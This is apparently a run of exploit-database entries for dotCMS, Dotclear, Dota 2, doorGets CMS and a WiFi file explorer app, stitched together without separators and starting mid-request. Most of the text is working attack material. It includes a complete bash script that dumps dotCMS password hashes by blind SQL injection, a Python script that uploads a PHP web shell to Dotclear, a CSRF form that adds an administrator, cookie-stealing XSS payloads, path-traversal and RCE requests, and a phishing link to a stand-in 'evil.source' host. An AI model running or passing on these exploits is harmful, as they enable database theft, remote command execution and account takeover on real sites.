Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/c/portal/layout?p_l_id=b7ab5d3c-5ee0-4195-a17e-8f5579d718dd&p_p_id=site-browser&p_p_action=1&p_p_state=maximized&angularCurrentPortlet=site-browser&p_p_mode=view&_site_browser_struts_action=%2Fext%2Fcontentlet%2Fedit_contentlet&_site_browser_cmd=new&selectedStructure=33888b6f-7a8e-4069-b1b6-5c1aa9d0a48d&folder=SYSTEM_FOLDER&referer=/c/portal/layout%3Fp_l_id%3Db7ab5d3c-5ee0-4195-a17e-8f5579d718dd%26p_p_id%3Dsite-browser%26p_p_action%3D0%26p_p_state%3Dmaximized%26angularCurrentPortlet%3Dsite-browser%26p_p_mode%3Dview%26_site_browser_struts_action%3D%252Fext%252Fbrowser%252Fview_browser&in_frame=true&frame=detailFrame&container=true&angularCurrentPortlet=site-browser
Content-Type: multipart/form-data; boundary=---------------------------5890268631313811380287956669
Content-Length: 101313
DNT: 1
Connection: close
Cookie: messagesUtk=2366e7c3b5af4c8c93bb11d0c994848a; BACKENDID=172.18.0.3; JSESSIONID=65C16EFBEE5B7176B22083A0CA451F0A.c16f6b7d05d9; hs-messages-hide-welcome-message=true; access_token=eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJkZGFlZmEzNS0yYmMyLTQ4MTEtOTRjNi0xNGE0OTk4YzFkNDAiLCJpYXQiOjE1NTczOTY0NzYsInVwZGF0ZWRfYXQiOjEyMDQ4MjQ5NjEwMDAsInN1YiI6ImRvdGNtcy5vcmcuMSIsImlzcyI6IjRiNTkyYjIyLTBiMmEtNGI2ZC05NmU4LTdjMzBiMzgzOTM1ZiJ9.F8_L_Cu96pkYcwTl4ex_zfrA-Fk-rqNUz24oCV0gOmc; DWRSESSIONID=EZToDkzmi*mMXCayMxskFA75sGm
Upgrade-Insecure-Requests: 1
-----------------------------5890268631313811380287956669
Content-Disposition: form-data; name="binary3FileUpload"; filename="\"><img src=x onerror=alert(\"ismailtasdelen\")> .json"
Content-Type: application/json
# HTTP Response :
HTTP/1.1 200
Content-Length: 0
Date: Thu, 09 May 2019 10:23:44 GMT
Connection: close
: '
# Blind Boolean SQL Injection in dotCMS <= 3.6.1 (CVE-2017-5344)
## Product Description
dotCMS is a scalable, java based, open source content management system
(CMS) that has been designed to manage and deliver personalized, permission
based content experiences across multiple channels. dotCMS can serve as the
plaform for sites, mobile apps, mini-sites, portals, intranets or as a
headless CMS (content is consumed via RESTful APIs). dotCMS is used
everywhere, from running small sites to powering multi-node installations
for governemnts, Fortune 100 companies, Universities and Global Brands. A
dotCMS environment can scale to support hundreds of editors managing
thousands of sites with millions of content objects.
## Vulnerability Type
Blind Boolean SQL injection
## Vulnerability Description
dotCMS versions up to 3.6.1 (and possibly others) are vulnerable to blind
boolean SQL injection in the q and inode parameters at the
/categoriesServlet path. This servlet is a remotely accessible,
unauthenticated function of default dotCMS installations and can be
exploited to exfiltrate sensitive information from databases accessible to
the DMBS user configured with the product.
Exploitation of the vulnerability is limited to the MySQL DMBS in 3.5 -
3.6.1 as SQL escaping controls were added to address a similar
vulnerability discovered in previous versions of the product. The means of
bypassing these features which realise this vulnerability have only been
successfully tested with MySQL 5.5, 5.6 and 5.7 and it is believed other
DMBSes are not affected. Versions prior to 3.6 do not have these controls
and can be exploited directly on a greater number of paired DMBSes.
PostgreSQL is vulnerable in all described versions of dotCMS when
PostgreSQL standard_confirming_strings setting is disabled (enabled by
default).
The vulnerability is the result of string interpolation and directly SQL
statement execution without sanitising user input. The intermediate
resolution for a previous SQLi vulnerability was to whitelist and partially
filter user input before interpolation. This vulnerability overcomes this
filtering to perform blind boolean SQL injection. The resolution to this
vulnerability was to implement the use of prepared statements in the
affected locations.
This vulnerability has been present in dotCMS since at least since version
3.0.
## Exploit
A proof of concept is available here:
https://github.com/xdrr/webapp-exploits/tree/master/vendors/dotcms/2017.01.blind-sqli
## Versions
dotCMS <= 3.3.2 and MYSQL, MSSQL, H2, PostgreSQL
dotCMS 3.5 - 3.6.1 and (MYSQL or PostgreSQL w/ standard_confirming_strings
disabled)
## Attack Type
Unauthenticated, Remote
## Impact
The SQL injection vulnerability can be used to exfiltrate sensitive
information from the DBMS used with dotCMS. Depending of the DBMS
configuration and type, the issue could be as severe as establishing a
remote shell (such as by using xp_exec on MSSQL servers) or in the most
limited cases, restricted only to exfiltration of data in dotCMS database
tables.
## Credit
This vulnerability was discovered by Ben Nott <pajexali@gmail.com>.
Credit goes to Erlar Lang for discovering similar SQL injection
vulnerabilities in nearby code and for inspiring this discovery.
## Disclosure Timeline
* Jan 2, 2017 - Issue discovered.
* Jan 2, 2017 - Vendor advised of discovery and contact requested for
full disclosure.
* Jan 4, 2017 - Provided full disclosure to vendor.
* Jan 5, 2017 - Vendor acknowledged disclosure and confirmed finding
validity.
* Jan 14, 2017 - Vendor advised patch developed and preparing for release.
* Jan 24, 2017 - Vendor advised patching in progress.
* Feb 15, 2017 - Vendor advises ready for public disclosure.
## References
Vendor advisory: http://dotcms.com/security/SI-39
CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-5344
'
#!/bin/bash
#
# Dump password hashes from dotCMS <= 3.6.1 using blind boolean SQL injection.
# CVE: CVE-2017-5344
# Author: Ben Nott <pajexali@gmail.com>
# Date: January 2017
#
# Note this exploit is tuned for MySQL backends but can be adapted
# for other DMBS's.
show_usage() {
echo "Usage $0 [target]"
echo
echo "Where:"
echo -e "target\t...\thttp://target.example.com (no trailing slash, port optional)"
echo
echo "For example:"
echo
echo "$0 http://www.examplesite.com"
echo "$0 https://www.mycmssite.com:9443"
echo
exit 1
}
test_exploit() {
target=$1
res=$(curl -k -s -X 'GET' \
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Upgrade-Insecure-Requests: 1' \
"${target}/categoriesServlet?q=%5c%5c%27")
if [ $? -ne 0 ];
then
echo "Failed to connect. Check host and try again!"
exit 1
fi
if [ -z "$res" ];
then
echo "The target appears vulnerable. We're good to go!"
else
echo "The target isn't vulnerable."
exit 1
fi
}
dump_char() {
target=$1
char=$2
database=$3
index=$4
offset=$5
column=$6
avg_delay=$7
if [ -z "$offset" ];
then
offset=1
fi
if [[ $char != *"char("* ]];
then
char="%22${char}%22"
fi
if [ -z "$column" ];
then
column="password_"
fi
# Controls the avg delay of a FALSE
# request
if [ -z "$avg_delay" ];
then
avg_delay="0.100"
fi
res=$(curl -k -sS \
-w " %{time_total}" \
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Upgrade-Insecure-Requests: 1' \
"${target}/categoriesServlet?q=%5c%5c%27)+OR%2f%2a%2a%2f(SELECT(SUBSTRING((SELECT(${column})FROM(${database}.user_)LIMIT%2f%2a%2a%2f${index},1),${offset},1)))LIKE+BINARY+${char}%2f%2a%2a%2fORDER+BY+category.sort_order%23")
data=$(echo $res | awk '{print $1}')
rtt=$(echo $res | awk '{print $2}')
# Calculate boolean based on time delay and
# data presence.
has_delay=$(echo "${rtt}>${avg_delay}" | bc -l)
if [ ! -z "$data" ];
then
if [ $has_delay -eq 1 ];
then
echo "$char"
fi
fi
}
testdb() {
target=$1
res=$(dump_char $target 1 "dotcms" 1 1)
if [ ! -z "$res" ];
then
echo "dotcms"
else
res=$(dump_char $target 1 "dotcms2")
if [ ! -z "$res" ];
then
echo "dotcms2"
fi
fi
}
convert_char() {
char=$1
conv="$char"
if [ "$char" == "char(58)" ];
then
conv=":"
elif [ "$char" == "char(47)" ];
then
conv="/"
elif [ "$char" == "char(61)" ];
then
conv="="
elif [ "$char" == "char(45)" ];
then
conv="-"
fi
echo -n "$conv"
}
a2chr() {
a=$1
printf 'char(%02d)' \'$a
}
n2chr() {
n=$1
printf 'char(%d)' $n
}
chr2a() {
chr=$1
chr=$(echo $chr | sed -e 's/char(//g' -e 's/)//g')
chr=`printf \\\\$(printf '%03o' $chr)`
echo -n $chr
}
iter_chars() {
target=$1
db=$2
user=$3
offset=$4
column=$5
for c in {32..36} {38..94} {96..126}
do
c=$(n2chr $c)
res=$(dump_char $target $c $db $user $offset $column)
if [ ! -z "$res" ];
then
chr2a $res
break
fi
done
}
exploit() {
target=$1
db=$(testdb $target)
if [ -z "$db" ];
then
echo "Unable to identify database name used by dotcms instance!"
exit 1
fi
echo "Dumping users and passwords from database..."
echo
for user in $(seq 0 1023);
do
validuser=1
echo -n "| $user | "
for offset in $(seq 1 1024);
do
res=$(iter_chars $target $db $user $offset "userid")
if [ -z "$res" ];
then
if [ $offset -eq 1 ];
then
validuser=0
fi
break
fi
echo -n "$res";
done
if [ $validuser -eq 1 ];
then
printf " | "
else
printf " |\n"
break
fi
for offset in $(seq 1 1024);
do
res=$(iter_chars $target $db $user $offset "password_")
if [ -z "$res" ];
then
break
fi
echo -n "$res";
done
printf " |\n"
done
echo
echo "Dumping complete!"
}
target=$1
if [ -z "$target" ];
then
show_usage
fi
test_exploit $target
exploit $target
dotCMS 3.2.4 Multiple Vulnerabilities
Vendor: dotCMS Software, LLC
Product web page: http://www.dotcms.com
Affected version: 3.2.4 (Enterprise)
Summary: DotCMS is the next generation of Content Management System (CMS).
Quick to deploy, open source, Java-based, open APIs, extensible and massively
scalable, dotCMS can rapidly deliver personalized, engaging multi-channel
sites, web apps, campaigns, one-pagers, intranets - all types of content
driven experiences - without calling in your developers.
Desc: The application suffers from multiple security vulnerabilities including:
Open Redirection, multiple Stored and Reflected XSS and Cross-Site Request
Forgery (CSRF).
Tested on: Apache-Coyote/1.1
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2015-5290
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5290.php
Vendor: http://dotcms.com/docs/latest/change-log
https://github.com/dotCMS/core/commit/7b86fc850bf547e8c82366240dae27e7e56b4305
https://github.com/dotCMS/core/commit/1fdebbbd76619992356e9443230e35be8a2b60c3
19.11.2015
--
1. Open Redirect via '_EXT_LANG_redirect' GET parameter:
--------------------------------------------------------
http://127.0.0.1/c/portal/layout?p_l_id=a8e430e3-8010-40cf-ade1-5978e61241a8&p_p_id=EXT_LANG&p_p_action=1&p_p_state=maximized&p_p_mode=view&_EXT_LANG_struts_action=%2Fext%2Flanguages_manager%2Fedit_language&_EXT_LANG_cmd=save&_EXT_LANG_redirect=http://zeroscience.mk&id=0&languageCode=MK&countryCode=MK&language=Macedonian&country=Macedonia
2. CSRF Add Admin:
------------------
<html>
<body>
<form action="http://127.0.0.1/dwr/call/plaincall/UserAjax.addUser.dwr" method="POST" enctype="text/plain">
<input type="hidden" name="callCount" value="1 windowName=c0-param2 c0-scriptName=UserAjax c0-methodName=addUser c0-id=0 c0-param0=null:null c0-param1=string:TEST2 c0-param2=string:AAAA2 c0-param3=string:AAA2%40bb.net c0-param4=string:123123 batchId=3 instanceId=0 page=%2Fc%2Fportal%2Flayout%3Fp_l_id%3Da8e430e3-8010-40cf-ade1-5978e61241a8%26p_p_id%3DEXT_USER_ADMIN%26p_p_action%3D0%26%26dm_rlout%3D1%26r%3D1448026121316 scriptSessionId=hd2XkJoJcyP9lEk5N8qUe*ouv5l/mn17B5l-IA*1ZViJ6 " />
<input type="submit" value="Tutaj" />
</form>
</body>
</html>
3. Multiple Stored And Reflected XSS:
-------------------------------------
POST /dwr/call/plaincall/TagAjax.addTag.dwr HTTP/1.1
Host: 127.0.0.1
callCount=1
windowName=c0-param0
c0-scriptName=TagAjax
c0-methodName=addTag
c0-id=0
c0-param0=<script>alert(1)<%2fscript>
c0-param1=string:
c0-param2=string:48190c8c-42c4-46af-8d1a-0cd5db894797%20
batchId=2
instanceId=0
......
POST /dwr/call/plaincall/CategoryAjax.saveOrUpdateCategory.dwr HTTP/1.1
Host: 127.0.0.1
callCount=1
windowName=c0-param5
c0-scriptName=CategoryAjax
c0-methodName=saveOrUpdateCategory
c0-id=0
c0-param0=boolean:true
c0-param1=null:null
c0-param2=<script>alert(2)<%2fscript>
c0-param3=string:ppp
c0-param4=string:aaa
c0-param5=string:bbb
batchId=2
instanceId=0
......
POST /c/portal/layout?p_l_id=a8e430e3-8010-40cf-ade1-5978e61241a8&p_p_id=EXT_LUCENE_TOOL&p_p_action=0& HTTP/1.1
Host: 127.0.0.1
query=aaaa
offset="><script>alert(3)<%2fscript>
limit=20
sort=1
userid=admin
reindexResults=true
......
http://127.0.0.1/DotAjaxDirector/com.dotmarketing.portlets.osgi.AJAX.OSGIAJAX [jar parameter]
http://127.0.0.1/api/portlet/ES_SEARCH_PORTLET/render [URL path filename]
http://127.0.0.1/c/portal/layout [limit parameter]
http://127.0.0.1/c/portal/layout [offset parameter]
http://127.0.0.1/c/portal/layout [query parameter]
http://127.0.0.1/c/portal/layout [sort parameter]
http://127.0.0.1/html/portlet/ext/sitesearch/test_site_search_results.jsp [testIndex parameter]
http://127.0.0.1/html/portlet/ext/sitesearch/test_site_search_results.jsp [testQuery parameter]
# Exploit Title: DotCMS 20.11 - Stored Cross-Site Scripting
# Exploit Author: Hardik Solanki
# Vendor Homepage: https://dotcms.com/
# Version: 20.11
# Tested on Windows 10
Vulnerable Parameters: Template Title
Steps to reproduce:
1. Login With Admin Username and password.
2. Navigate to Site --> Template --> Add Template Designer
2. Entre the payload <script>alert(document.cookie)</script> in Template
Title.
3. Now Navigate to Site --> Template. We could see that our payload gets
executed. And hence it executed every time.
source: https://www.securityfocus.com/bid/52221/info
Dotclear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
Dotclear 2.4.1.2 is vulnerable; prior versions may also be affected.
http://www.example.com/admin/plugin.php?p=tags&m=tag_posts&tag=[TAG]&page=1%27%22%3E%3Cscript%3Ea lert%28document.cookie%29;%3C/script%3E
source: https://www.securityfocus.com/bid/52221/info
Dotclear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
Dotclear 2.4.1.2 is vulnerable; prior versions may also be affected.
http://www.example.com/admin/comments.php?type=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/comments.php?sortby=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/comments.php?order=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/comments.php?status=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
source: https://www.securityfocus.com/bid/52221/info
Dotclear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
Dotclear 2.4.1.2 is vulnerable; prior versions may also be affected.
http://www.example.com/admin/blogs.php?nb=5%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
source: https://www.securityfocus.com/bid/52221/info
Dotclear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
Dotclear 2.4.1.2 is vulnerable; prior versions may also be affected.
<form action="http://www.example.com/admin/auth.php" method="post">
<input type="hidden" name="new_pwd" value="1" />
<input type="hidden" name="new_pwd_c" value="2" />
<input type="hidden" name="login_data" value='"><script>alert(document.cookie);</script>' />
<input type="submit" id="btn">
</form>
# Exploit Title: Dotclear 2.29 - Remote Code Execution (RCE)
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 26.04.2024
# Vendor Homepage: https://git.dotclear.org/explore/repos
# Software Link:
https://github.com/dotclear/dotclear/archive/refs/heads/master.zip
# Tested Version: v2.29 (latest)
# Tested on: MacOS
import requests
import time
import random
import string
from bs4 import BeautifulSoup
def generate_filename(extension=".inc"):
return ''.join(random.choices(string.ascii_letters + string.digits, k=5)) +
extension
def get_csrf_token(response_text):
soup = BeautifulSoup(response_text, 'html.parser')
token = soup.find('input', {'name': 'xd_check'})
return token['value'] if token else None
def login(base_url, username, password):
print("Exploiting...")
time.sleep(1)
print("Logging in...")
time.sleep(1)
session = requests.Session()
login_data = {
"user_id": username,
"user_pwd": password
}
login_url = f"{base_url}/admin/index.php?process=Auth"
login_response = session.post(login_url, data=login_data)
if "Logout" in login_response.text:
print("Login Successful!")
return session
else:
print("Login Failed!")
return None
def upload_file(session, base_url, filename):
print("Shell Preparing...")
time.sleep(1)
boundary = "---------------------------376201441124932790524235275389"
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"X-Requested-With": "XMLHttpRequest"
}
csrf_token = get_csrf_token(session.get(f"{base_url}
/admin/index.php?process=Media").text)
payload = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n"
f"2097152\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"xd_check\"\r\n\r\n"
f"{csrf_token}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"upfile[]\"; filename=\"{filename}
\"\r\n"
f"Content-Type: image/jpeg\r\n\r\n"
"<html>\n<body>\n<form method=\"GET\" name=\"<?php echo
basename($_SERVER['PHP_SELF']); ?>\">\n"
"<input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\">\n<input
type=\"SUBMIT\" value=\"Execute\">\n"
"</form>\n<pre>\n<?php\nif(isset($_GET['cmd']))\n{\nsystem($_GET['cmd']);\n}
\n?>\n</pre>\n</body>\n</html>\r\n"
f"--{boundary}--\r\n"
)
upload_response = session.post(f"{base_url}
/admin/index.php?process=Media&sortby=name&order=asc&nb=30&page=1&q=&file_mode=grid&file_type=&plugin_id=&popup=0&select=0",
headers=headers, data=payload.encode('utf-8'))
if upload_response.status_code == 200:
print(f"Your Shell is Ready: {base_url}/public/{filename}")
else:
print("Exploit Failed!")
def main(base_url, username, password):
filename = generate_filename()
session = login(base_url, username, password)
if session:
upload_file(session, base_url, filename)
if __name__ == "__main__":
import sys
if len(sys.argv) != 4:
print("Usage: python script.py <siteurl> <username> <password>")
else:
base_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
main(base_url, username, password)
Exploit Title: dotclear 2.25.3 - Remote Code Execution (RCE) (Authenticated)
Application: dotclear
Version: 2.25.3
Bugs: Remote Code Execution (RCE) (Authenticated) via file upload
Technology: PHP
Vendor URL: https://dotclear.org/
Software Link: https://dotclear.org/download
Date of found: 08.04.2023
Author: Mirabbas Ağalarov
Tested on: Linux
2. Technical Details & POC
========================================
While writing a blog post, we know that we can upload images. But php did not allow file upload. This time
<?php echo system("id"); ?>
I wrote a file with the above payload, a poc.phar extension, and uploaded it.
We were able to run the php code when we visited your page
poc request:
POST /dotclear/admin/post.php HTTP/1.1
Host: localhost
Content-Length: 566
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: dcxd=f3bb50e4faebea34598cf52bcef38548b68bc1cc
Connection: close
post_title=Welcome+to+Dotclear%21&post_excerpt=&post_content=%3Cp%3EThis+is+your+first+entry.+When+you%27re+ready+to+blog%2C+log+in+to+edit+or+delete+it.fghjftgj%3Ca+href%3D%22%2Fdotclear%2Fpublic%2Fpoc.phar%22%3Epoc.phar%3C%2Fa%3E%3C%2Fp%3E%0D%0A&post_notes=&id=1&save=Save+%28s%29&xd_check=ca4243338e38de355f21ce8a757c17fbca4197736275ba4ddcfced4a53032290d7b3c50badd4a3b9ceb2c8b3eed2fc3b53f0e13af56c68f2b934670027e12f4e&post_status=1&post_dt=2023-04-08T06%3A37&post_lang=en&post_format=xhtml&cat_id=&new_cat_title=&new_cat_parent=&post_open_comment=1&post_password=
poc video : https://youtu.be/oIPyLqLJS70
# Exploit Title: Dota 2 7.23f - Denial of Service (PoC)
# Google Dork: N/A
# Date: 2020-02-05
# Exploit Author: Bogdan Kurinnoy (b.kurinnoy@gmail.com) (bi7s)
# Vendor Homepage: https://www.valvesoftware.com/en/
# Software Link: N/A
# Version: 7.23f
# Tested on: Windows 10 (x64)
# CVE : CVE-2020-7949
Valve Dota 2 (schemasystem.dll) before 7.23f allows remote attackers to
achieve code execution or denial of service by creating a gaming server and
inviting a victim to this server, because a crafted map is mishandled
during a GetValue call.
Attacker need invite a victim to play on attacker game server using
specially crafted map or create custom game, then when initialize the game
of the victim, the specially crafted map will be automatically downloaded
and processed by the victim, which will lead to the possibility to exploit
vulnerability. Also attacker can create custom map and upload it to Steam
<https://steamcommunity.com/sharedfiles/filedetails/?id=328258382>.
Steps for reproduce:
1. Copy attached file zuff.vpk (
https://github.com/bi7s/CVE/blob/master/CVE-2020-7949/zuff.zip) to map
directory (C:\Program Files (x86)\Steam\steamapps\common\dota 2
beta\game\dota\maps)
2. Launch Dota2
3. Launch "zuff" map from Dota2 game console. Command for game console =
map zuff
4. Dota2 is crash (Access Violation)
Debug information:
(2098.1634): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export
symbols for C:\Program Files (x86)\Steam\steamapps\common\dota 2
beta\game\bin\win64\schemasystem.dll -
(2098.1634): Access violation - code c0000005 (!!! second chance !!!)
rax=00000000ffffffff rbx=0000027ba23dd9b6 rcx=0000027ba23dd9b6
rdx=0000000042424242 rsi=0000027b5ffb9774 rdi=0000000000000000
rip=00007ffa73af90ce rsp=000000e82bcfe900 rbp=0000000000000000
r8=00000000412ee51c r9=000000e82bcfea88 r10=0000027b5ffb9774
r11=00000000412ee51c r12=0000027b5ffbe582 r13=000000e82bcfe9f0
r14=0000027b5ffb5328 r15=0000000000000010
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010200
schemasystem!BinaryProperties_GetValue+0x10ae:
00007ffa`73af90ce 40383b cmp byte ptr [rbx],dil
ds:0000027b`a23dd9b6=??
# Exploit Title: doorGets CMS 7.0 - Arbitrary File Download
# Dork: N/A
# Date: 2019-01-16
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.doorgets.com/
# Software Link: https://netix.dl.sourceforge.net/project/doorgets-cms/doorGets%20CMS%20V7/doorGets_CMS_V7.0.zip
# Version: 7.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC:
# 1)
# http://localhost/[PATH]/fileman/php/download.php?f=/[PATH]/fileman/Uploads/[FILE]
#
GET /[PATH]/fileman/php/download.php?f=%2FExploitDb%2FdoorGets_CMS_V7.0%2Ffileman%2FUploads%2F%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows/win.ini HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=2lj2q69rvodstr9g2c9ki3k3j6; GeniXCMS-Installation=rsb95ndeo38fi0qo5376ku0o74; GeniXCMS-uxTCOmgGby9cYrSEFhS2=iuac7ooh77hghvbq7afkn0kl13; roxyld=%2FExploitDb%2FdoorGets_CMS_V7.0%2Ffileman%2FUploads; roxyview=list
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Tue, 15 Jan 2019 22:03:21 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Disposition: attachment; filename="win.ini"
Content-Length: 564
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/force-download
#Exploit Title: Dooblou WiFi File Explorer 1.13.3 - Multiple Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2317
Release Date:
=============
2023-07-04
Vulnerability Laboratory ID (VL-ID):
====================================
2317
Common Vulnerability Scoring System:
====================================
5.1
Vulnerability Class:
====================
Multiple
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Browse, download and stream individual files that are on your Android device, using a web browser via a WiFi connection.
No more taking your phone apart to get the SD card out or grabbing your cable to access your camera pictures and copy across your favourite MP3s.
(Copy of the Homepage:https://play.google.com/store/apps/details?id=com.dooblou.WiFiFileExplorer )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple web vulnerabilities in the official Dooblou WiFi File Explorer 1.13.3 mobile android wifi web-application.
Affected Product(s):
====================
Product Owner: dooblou
Product: Dooblou WiFi File Explorer v1.13.3 - (Android) (Framework) (Wifi) (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2022-01-19: Researcher Notification & Coordination (Security Researcher)
2022-01-20: Vendor Notification (Security Department)
2022-**-**: Vendor Response/Feedback (Security Department)
2022-**-**: Vendor Fix/Patch (Service Developer Team)
2022-**-**: Security Acknowledgements (Security Department)
2023-07-04: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted Authentication (Guest Privileges)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
Multiple input validation web vulnerabilities has been discovered in the official Dooblou WiFi File Explorer 1.13.3 mobile android wifi web-application.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser to web-application
requests from the application-side.
The vulnerabilities are located in the `search`, `order`, `download`, `mode` parameters. The requested content via get method request is insecure validated
and executes malicious script codes. The attack vector is non-persistent and the rquest method to inject is get. Attacker do not need to be authorized to
perform an attack to execute malicious script codes. The links can be included as malformed upload for example to provoke an execute bby a view of the
front- & backend of the wifi explorer.
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious
source and non-persistent manipulation of affected application modules.
Proof of Concept (PoC):
=======================
The input validation web vulnerabilities can be exploited by remote attackers without user account and with low user interaction.
For security demonstration or to reproduce the web vulnerabilities follow the provided information and steps below to continue.
PoC: Exploitation
http://localhost:8000/storage/emulated/0/Download/<a href="https://evil.source" onmouseover=alert(document.domain)><br>PLEASE CLICK PATH TO RETURN INDEX</a>
http://localhost:8000/storage/emulated/0/Download/?mode=31&search=%3Ca+href%3D%22https%3A%2F%2Fevil.source%22+onmouseover%3Dalert%28document.domain%29%3E%3Cbr%3EPLEASE+CLICK+PATH+TO+RETURN+INDEX%3C%2Fa%3E&x=3&y=3
http://localhost:8000/storage/emulated/0/Download/?mode=%3Ca+href%3D%22https%3A%2F%2Fevil.source%22+onmouseover%3Dalert(document.domain)%3E%3Cbr%3EPLEASE+CLICK+PATH+TO+RETURN+INDEX&search=a&x=3&y=3
http://localhost:8000/storage/emulated/?order=%3Ca+href%3D%22https%3A%2F%2Fevil.source%22+onmouseover%3Dalert(document.domain)%3E%3Cbr%3EPLEASE+CLICK+PATH+TO+RETURN+INDEX
Vulnerable Sources: Execution Points
<table width="100%" cellspacing="0" cellpadding="16" border="0"><tbody><tr><td
style="vertical-align:top;"><table style="background-color: #FFA81E;
background-image: url(/x99_dooblou_res/x99_dooblou_gradient.png);
background-repeat: repeat-x; background-position:top;" width="700"
cellspacing="3" cellpadding="5" border="0"><tbody><tr><td><center><span
class="doob_large_text">ERROR</span></center></td></tr></tbody></table><br><tabl
e style="background-color: #B2B2B2; background-image:
url(/x99_dooblou_res/x99_dooblou_gradient.png); background-repeat: repeat-x; background-position:top;" width="700" cellspacing="3" cellpadding="5" border="0">
<tbody><tr><td><span class="doob_medium_text">Cannot find file or
directory! /storage/emulated/0/Download/<a href="https://evil.source" onmouseover="alert(document.domain)"><br>PLEASE CLICK USER PATH TO RETURN
INDEX</a></span></td></tr></tbody></table><br><span class="doob_medium_text"><span class="doob_link"> <a
href="/">>> Back To
Files >></a></span></span><br></td></tr></tbody></table><br>
-
<li></li></ul></span></span></td></tr></tbody></table></div><div class="body row scroll-x scroll-y"><table width="100%" cellspacing="0" cellpadding="6" border="0"><tbody><tr>
<td style="vertical-align:top;" width="100%"><form name="multiSelect" style="margin: 0px; padding: 0px;" action="/storage/emulated/0/Download/" enctype="multipart/form-data" method="POST">
